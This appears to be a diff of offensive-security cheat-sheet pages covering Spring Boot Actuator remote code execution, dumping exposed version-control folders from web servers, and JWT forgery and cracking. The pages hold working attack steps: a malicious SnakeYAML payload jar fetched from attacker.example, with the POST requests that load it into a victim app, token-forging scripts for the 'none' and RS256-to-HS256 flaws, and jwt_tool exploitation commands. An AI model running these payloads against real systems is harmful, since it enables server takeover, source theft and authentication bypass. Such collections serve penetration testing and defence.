* [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
|
||||
@@ -4,16 +4,91 @@
|
||||
|
||||
Actuator endpoints let you monitor and interact with your application.
|
||||
Spring Boot includes a number of built-in endpoints and lets you add your own.
|
||||
For example, the health endpoint provides basic application health information.
|
||||
For example, the `/health` endpoint provides basic application health information.
|
||||
|
||||
Some of them contains sensitive info such as :
|
||||
|
||||
- `/trace` (by default the last 100 HTTP requests with headers)
|
||||
- `/env` (the current environment properties)
|
||||
- `/heapdump` (builds and returns a heap dump from the JVM used by our application).
|
||||
- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers).
|
||||
- `/env` - Displays the current environment properties (from Spring’s ConfigurableEnvironment).
|
||||
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
|
||||
- `/dump` - Displays a dump of threads (including a stack trace).
|
||||
- `/logfile` - Outputs the contents of the log file.
|
||||
- `/mappings` - Shows all of the MVC controller mappings.
|
||||
|
||||
These endpoints are enabled by default in Springboot 1.X. Since Springboot 2.x only `/health` and `/info` are enabled by default.
|
||||
These endpoints are enabled by default in Springboot 1.X.
|
||||
Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.
|
||||
|
||||
Since Springboot 2.X only `/health` and `/info` are enabled by default.
|
||||
|
||||
### Remote Code Execution via `/env`
|
||||
|
||||
Spring is able to load external configurations in the YAML format.
|
||||
The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks.
|
||||
In other words, an attacker can gain remote code execution by loading a malicious config file.
|
||||
|
||||
#### Steps
|
||||
|
||||
1. Generate a payload of SnakeYAML deserialization gadget.
|
||||
|
||||
- Build malicious jar
|
||||
```bash
|
||||
git clone https://github.com/artsploit/yaml-payload.git
|
||||
cd yaml-payload
|
||||
# Edit the payload before executing the last commands (see below)
|
||||
javac src/artsploit/AwesomeScriptEngineFactory.java
|
||||
jar -cvf yaml-payload.jar -C src/ .
|
||||
```
|
||||
|
||||
- Edit src/artsploit/AwesomeScriptEngineFactory.java
|
||||
|
||||
```java
|
||||
public AwesomeScriptEngineFactory() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- Create a malicious yaml config (yaml-payload.yml)
|
||||
|
||||
```yaml
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://attacker.example/yaml-payload.jar"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
|
||||
|
||||
2. Host the malicious files on your server.
|
||||
|
||||
- yaml-payload.jar
|
||||
- yaml-payload.yml
|
||||
|
||||
|
||||
3. Change `spring.cloud.bootstrap.location` to your server.
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: victim.example:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 59
|
||||
|
||||
spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
|
||||
```
|
||||
|
||||
4. Reload the configuration.
|
||||
|
||||
```
|
||||
POST /refresh HTTP/1.1
|
||||
Host: victim.example:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 0
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
|
||||
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
|
||||
@@ -1,24 +1,36 @@
|
||||
# Insecure source code management
|
||||
|
||||
- [GIT - Source code management](#git---source-code-management)
|
||||
- [Github example with a .git](#github-example-with-a-git)
|
||||
- [Recovering the content of .git/index](#recovering-the-content-of-gitindex)
|
||||
- [Automatic way : diggit.py](#automatic-way--diggitpy)
|
||||
- [Automatic way : GoGitDumper](#automatic-way-gogitdumper)
|
||||
- [Automatic way : rip-git](#automatic-way--rip-git)
|
||||
- [Automatic way : GitHack](#automatic-way--githack)
|
||||
- [Harvesting secrets : trufflehog](#harvesting-secrets--trufflehog)
|
||||
- [Harvesting secrets : Gitrob](#harvesting-secrets--gitrob)
|
||||
- [Harvesting secrets : Gitleaks](#harvesting-secrets--gitleaks)
|
||||
- [SVN - Source code management](#svn---source-code-management)
|
||||
- [SVN example (Wordpress)](#svn-example-wordpress)
|
||||
- [Automatic way : svn-extractor](#automatic-way--svn-extractor)
|
||||
- [BAZAAR - Source code management](#bazaar---source-code-management)
|
||||
- [Automatic way : rip-bzr](#automatic-way--rip-bzr)
|
||||
- [Automatic way : bzr_dumper](#automatic-way--bzr_dumper)
|
||||
- [Leaked API keys](#leaked-api-keys)
|
||||
* [Git](#git)
|
||||
+ [Example](#example)
|
||||
- [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
|
||||
- [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
|
||||
+ [Tools](#tools)
|
||||
- [Automatic recovery](#automatic-recovery)
|
||||
* [git-dumper.py](#git-dumperpy)
|
||||
* [diggit.py](#diggitpy)
|
||||
* [GoGitDumper](#gogitdumper)
|
||||
* [rip-git](#rip-git)
|
||||
* [GitHack](#githack)
|
||||
* [GitTools](#gittools)
|
||||
- [Harvesting secrets](#harvesting-secrets)
|
||||
* [trufflehog](#trufflehog)
|
||||
* [Yar](#yar)
|
||||
* [Gitrob](#gitrob)
|
||||
* [Gitleaks](#gitleaks)
|
||||
* [Subversion](#subversion)
|
||||
+ [Example (Wordpress)](#example-wordpress)
|
||||
+ [Tools](#tools-1)
|
||||
- [svn-extractor](#svn-extractor)
|
||||
* [Bazaar](#bazaar)
|
||||
+ [Tools](#tools-2)
|
||||
- [rip-bzr.pl](#rip-bzrpl)
|
||||
- [bzr_dumper](#bzr_dumper)
|
||||
* [Mercurial](#mercurial)
|
||||
+ [Tools](#tools-3)
|
||||
- [rip-hg.pl](#rip-hgpl)
|
||||
* [References](#references)
|
||||
|
||||
## GIT - Source code management
|
||||
## Git
|
||||
|
||||
The following examples will create either a copy of the .git or a copy of the current commit.
|
||||
|
||||
@@ -28,28 +40,32 @@ Check for the following files, if they exist you can extract the .git folder.
|
||||
- .git/HEAD
|
||||
- .git/logs/HEAD
|
||||
|
||||
### Github example with a .git
|
||||
### Example
|
||||
|
||||
1. Check 403 error (Forbidden) for .git or even better : a directory listing
|
||||
2. Git saves all informations in log file .git/logs/HEAD (try 'head' in lowercase too)
|
||||
#### Recovering file contents from .git/logs/HEAD
|
||||
|
||||
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
||||
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
||||
```powershell
|
||||
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
|
||||
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
|
||||
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
|
||||
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
|
||||
```
|
||||
3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,
|
||||
3. Access the commit using the hash
|
||||
```powershell
|
||||
# create a .git directory
|
||||
# create an empty .git repository
|
||||
git init test
|
||||
cd test/.git
|
||||
|
||||
# download the file
|
||||
wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
|
||||
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
|
||||
|
||||
# first byte for subdirectory, remaining bytes for filename
|
||||
mkdir .git/object/26
|
||||
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
|
||||
|
||||
# display the content of the file
|
||||
# display the file
|
||||
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
|
||||
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
||||
@@ -59,7 +75,7 @@ Check for the following files, if they exist you can extract the .git folder.
|
||||
```
|
||||
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||
```powershell
|
||||
wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
||||
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
||||
mkdir .git/object/32
|
||||
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
|
||||
|
||||
@@ -72,22 +88,22 @@ Check for the following files, if they exist you can extract the .git folder.
|
||||
```
|
||||
5. Read the data (flag.txt)
|
||||
```powershell
|
||||
wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
||||
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
||||
mkdir .git/object/cb
|
||||
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
|
||||
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
||||
```
|
||||
|
||||
### Recovering the content of .git/index
|
||||
#### Recovering file contents from .git/index
|
||||
|
||||
Use the git index file parser, using python3 https://pypi.python.org/pypi/gin
|
||||
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
|
||||
|
||||
```powershell
|
||||
pip3 install gin
|
||||
gin ~/git-repo/.git/index
|
||||
```
|
||||
|
||||
Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file.
|
||||
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
|
||||
|
||||
```powershell
|
||||
$ gin .git/index | egrep -e "name|sha1"
|
||||
@@ -98,32 +114,44 @@ name = CRLF injection/README.md
|
||||
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
||||
```
|
||||
|
||||
### Tools
|
||||
|
||||
#### Automatic recovery
|
||||
|
||||
### Automatic way : diggit.py
|
||||
##### git-dumper.py
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/arthaud/git-dumper
|
||||
pip install -r requirements.txt
|
||||
./git-dumper.py http://web.site/.git ~/website
|
||||
```
|
||||
|
||||
##### diggit.py
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
|
||||
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
|
||||
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
|
||||
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
|
||||
|
||||
-u is remote path, where .git folder exists
|
||||
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
|
||||
-o is a hash of particular Git object to download
|
||||
```
|
||||
|
||||
### Automatic way : GoGitDumper
|
||||
##### GoGitDumper
|
||||
|
||||
```powershell
|
||||
go get github.com/c-sto/gogitdumper
|
||||
gogitdumper -u http://urlhere.com/.git/ -o yourdecideddir/.git/
|
||||
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
|
||||
git log
|
||||
git checkout
|
||||
```
|
||||
|
||||
### Automatic way : rip-git
|
||||
##### rip-git
|
||||
|
||||
```powershell
|
||||
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"
|
||||
git clone https://github.com/kost/dvcs-ripper
|
||||
perl rip-git.pl -v -u "http://web.site/.git/"
|
||||
|
||||
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
|
||||
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
||||
@@ -134,23 +162,42 @@ committer Michael <michael@easyctf.com> 1489389105 +0000
|
||||
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
||||
```
|
||||
|
||||
### Automatic way : GitHack
|
||||
##### GitHack
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/lijiejie/GitHack
|
||||
GitHack.py http://www.openssl.org/.git/
|
||||
GitHack.py http://web.site/.git/
|
||||
```
|
||||
|
||||
### Harvesting secrets : trufflehog
|
||||
##### GitTools
|
||||
|
||||
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history
|
||||
```powershell
|
||||
git clone https://github.com/internetwache/GitTools
|
||||
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
|
||||
git checkout -- .
|
||||
```
|
||||
|
||||
#### Harvesting secrets
|
||||
|
||||
##### trufflehog
|
||||
|
||||
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
|
||||
|
||||
```powershell
|
||||
pip install truffleHog # https://github.com/dxa4481/truffleHog
|
||||
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
|
||||
```
|
||||
|
||||
### Harvesting secrets : Gitrob
|
||||
##### Yar
|
||||
|
||||
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
|
||||
|
||||
```powershell
|
||||
go get github.com/nielsing/yar # https://github.com/nielsing/yar
|
||||
yar -o orgname --both
|
||||
```
|
||||
|
||||
##### Gitrob
|
||||
|
||||
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
|
||||
|
||||
@@ -160,13 +207,13 @@ export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
|
||||
gitrob [options] target [target2] ... [targetN]
|
||||
```
|
||||
|
||||
### Harvesting secrets - Gitleaks
|
||||
##### Gitleaks
|
||||
|
||||
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
|
||||
|
||||
```powershell
|
||||
# Run gitleaks against a public repository
|
||||
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
|
||||
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
|
||||
|
||||
# Run gitleaks against a local repository already cloned into /tmp/
|
||||
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
|
||||
@@ -179,9 +226,9 @@ or
|
||||
go get -u github.com/zricethezav/gitleaks
|
||||
```
|
||||
|
||||
## SVN - Source code management
|
||||
## Subversion
|
||||
|
||||
### SVN example (Wordpress)
|
||||
### Example (Wordpress)
|
||||
|
||||
```powershell
|
||||
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
||||
@@ -194,26 +241,30 @@ curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
||||
2. Download interesting files
|
||||
* remove \$sha1\$ prefix
|
||||
* add .svn-base postfix
|
||||
* use first two signs from hash as folder name inside pristine/ directory (94 in this case)
|
||||
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
|
||||
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
|
||||
|
||||
### Automatic way : svn-extractor
|
||||
### Tools
|
||||
|
||||
#### svn-extractor
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/anantshri/svn-extractor.git
|
||||
python svn-extractor.py –url "url with .svn available"
|
||||
```
|
||||
|
||||
## BAZAAR - Source code management
|
||||
## Bazaar
|
||||
|
||||
### Automatic way : rip-bzr.pl
|
||||
### Tools
|
||||
|
||||
#### rip-bzr.pl
|
||||
|
||||
```powershell
|
||||
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
|
||||
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-git.pl -v -u
|
||||
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
|
||||
```
|
||||
|
||||
### Automatic way : bzr_dumper
|
||||
#### bzr_dumper
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/SeahunOh/bzr_dumper
|
||||
@@ -238,14 +289,15 @@ $ bzr revert
|
||||
N static/
|
||||
```
|
||||
|
||||
## Leaked API keys
|
||||
## Mercurial
|
||||
|
||||
If you find any key , use the [keyhacks](https://github.com/streaak/keyhacks) from @streaak to verifiy them.
|
||||
### Tools
|
||||
|
||||
Twilio example :
|
||||
#### rip-hg.pl
|
||||
|
||||
```powershell
|
||||
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts/ACCOUNT_SID/Keys.json' -u ACCOUNT_SID:AUTH_TOKEN
|
||||
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl
|
||||
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
@@ -4,10 +4,17 @@
|
||||
|
||||
## Summary
|
||||
|
||||
- JWT Format
|
||||
- JWT Signature - None algorithm
|
||||
- JWT Signature - RS256 to HS256
|
||||
- Breaking JWT's secret
|
||||
- [Tools](#tools)
|
||||
- [JWT Format](#jwt-format)
|
||||
- [Header](#header)
|
||||
- [Payload](#payload)
|
||||
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
|
||||
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
|
||||
- [Breaking JWT's secret](#breaking-jwts-secret)
|
||||
- [JWT Tool](#jwt-tool)
|
||||
- [JWT cracker](#jwt-cracker)
|
||||
- [Hashcat](#hashcat)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
@@ -41,6 +48,24 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
||||
}
|
||||
```
|
||||
|
||||
| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements |
|
||||
|---|---|---|
|
||||
| HS256 | HMAC using SHA-256 | Required |
|
||||
| HS384 | HMAC using SHA-384 | Optional |
|
||||
| HS512 | HMAC using SHA-512 | Optional |
|
||||
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
|
||||
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
|
||||
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
|
||||
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
|
||||
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
|
||||
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
|
||||
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
|
||||
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
|
||||
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
|
||||
| none | No digital signature or MAC performed | Required |
|
||||
|
||||
|
||||
|
||||
### Payload
|
||||
|
||||
```json
|
||||
@@ -67,41 +92,35 @@ JWT Encoder – Decoder: `http://jsonwebtoken.io`
|
||||
|
||||
JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
|
||||
|
||||
None algorithm variants:
|
||||
* none
|
||||
* None
|
||||
* NONE
|
||||
* nOnE
|
||||
|
||||
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
|
||||
|
||||
However, this won't work unless you **remove** the signature
|
||||
|
||||
The following code is a basic test for a None algorithm.
|
||||
|
||||
```python
|
||||
import jwt
|
||||
import base64
|
||||
|
||||
def b64urlencode(data):
|
||||
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
|
||||
|
||||
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
|
||||
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
|
||||
```
|
||||
|
||||
Alternatively you can modify an existing JWT (be careful with the expiration time)
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
```python3
|
||||
#!/usr/bin/python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ"
|
||||
header, payload, signature = jwt.split('.')
|
||||
import jwt
|
||||
|
||||
# Replacing the ALGO and the payload username
|
||||
header = header.decode('base64').replace('HS256',"none")
|
||||
payload = (payload+"==").decode('base64').replace('test','admin')
|
||||
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
|
||||
|
||||
header = header.encode('base64').strip().replace("=","")
|
||||
payload = payload.encode('base64').strip().replace("=","")
|
||||
decodedToken = jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None'
|
||||
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
|
||||
|
||||
# 'The algorithm 'none' is not supported'
|
||||
print( header+"."+payload+".")
|
||||
print(noneEncoded.decode())
|
||||
|
||||
"""
|
||||
Output:
|
||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
|
||||
"""
|
||||
```
|
||||
|
||||
## JWT Signature - RS256 to HS256
|
||||
@@ -118,9 +137,37 @@ print public
|
||||
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
|
||||
```
|
||||
|
||||
Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
|
||||
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
|
||||
|
||||
`pip install pyjwt==0.4.3`.
|
||||
Here are the steps to edit an RS256 JWT token into an HS256
|
||||
|
||||
1. Convert our public key (key.pem) into HEX with this command.
|
||||
|
||||
```powershell
|
||||
$ cat key.pem | xxd -p | tr -d "\\n"
|
||||
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
||||
```
|
||||
|
||||
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
|
||||
|
||||
```powershell
|
||||
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
||||
|
||||
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
|
||||
```
|
||||
|
||||
3. Convert signature (Hex to "base64 URL")
|
||||
|
||||
```powershell
|
||||
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
|
||||
```
|
||||
|
||||
4. Add signature to edited payload
|
||||
|
||||
```powershell
|
||||
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
|
||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
|
||||
```
|
||||
|
||||
## Breaking JWT's secret
|
||||
|
||||
@@ -143,20 +190,24 @@ First, bruteforce the "secret" key used to compute the signature.
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/ticarpi/jwt_tool
|
||||
python2.7 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI /tmp/wordlist
|
||||
python3 -m pip install termcolor cprint pycryptodomex requests
|
||||
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
|
||||
|
||||
Token header values:
|
||||
[+] alg = HS256
|
||||
[+] typ = JWT
|
||||
\ \ \ \ \ \
|
||||
\__ | | \ |\__ __| \__ __| |
|
||||
| | \ | | | \ \ |
|
||||
| \ | | | __ \ __ \ |
|
||||
\ | _ | | | | | | | |
|
||||
| | / \ | | | | | | | |
|
||||
\ | / \ | | |\ |\ | |
|
||||
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
|
||||
Version 2.2.2 \______| @ticarpi
|
||||
|
||||
Token payload values:
|
||||
[+] sub = 1234567890
|
||||
[+] role = user
|
||||
[+] iat = 1516239022
|
||||
Original JWT:
|
||||
|
||||
File loaded: /tmp/wordlist
|
||||
Testing 5 passwords...
|
||||
[+] secret is the CORRECT key!
|
||||
You can tamper/fuzz the token contents (-T/-I) and sign it using:
|
||||
python3 jwt_tool.py [options here] -S HS256 -p "secret"
|
||||
```
|
||||
|
||||
Then edit the field inside the JSON Web Token.
|
||||
@@ -201,6 +252,13 @@ Your new forged token:
|
||||
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
|
||||
```
|
||||
|
||||
* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
|
||||
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
|
||||
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
|
||||
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
|
||||
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
|
||||
|
||||
|
||||
### JWT cracker
|
||||
|
||||
```bash
|
||||
@@ -211,13 +269,21 @@ Secret is "Sn1f"
|
||||
|
||||
### Hashcat
|
||||
|
||||
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](twitter.com/hashcat/status/955154646494040065)
|
||||
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
|
||||
|
||||
```bash
|
||||
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
|
||||
```
|
||||
|
||||
## CVE
|
||||
|
||||
* CVE-2015-2951 - The alg=none signature-bypass vulnerability
|
||||
* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
|
||||
* CVE-2018-0114 - Key injection vulnerability
|
||||
* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
|
||||
* CVE-2020-28042 - Null signature vulnerability
|
||||
|
||||
## References
|
||||
|
||||
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
|
||||
@@ -232,3 +298,6 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
|
||||
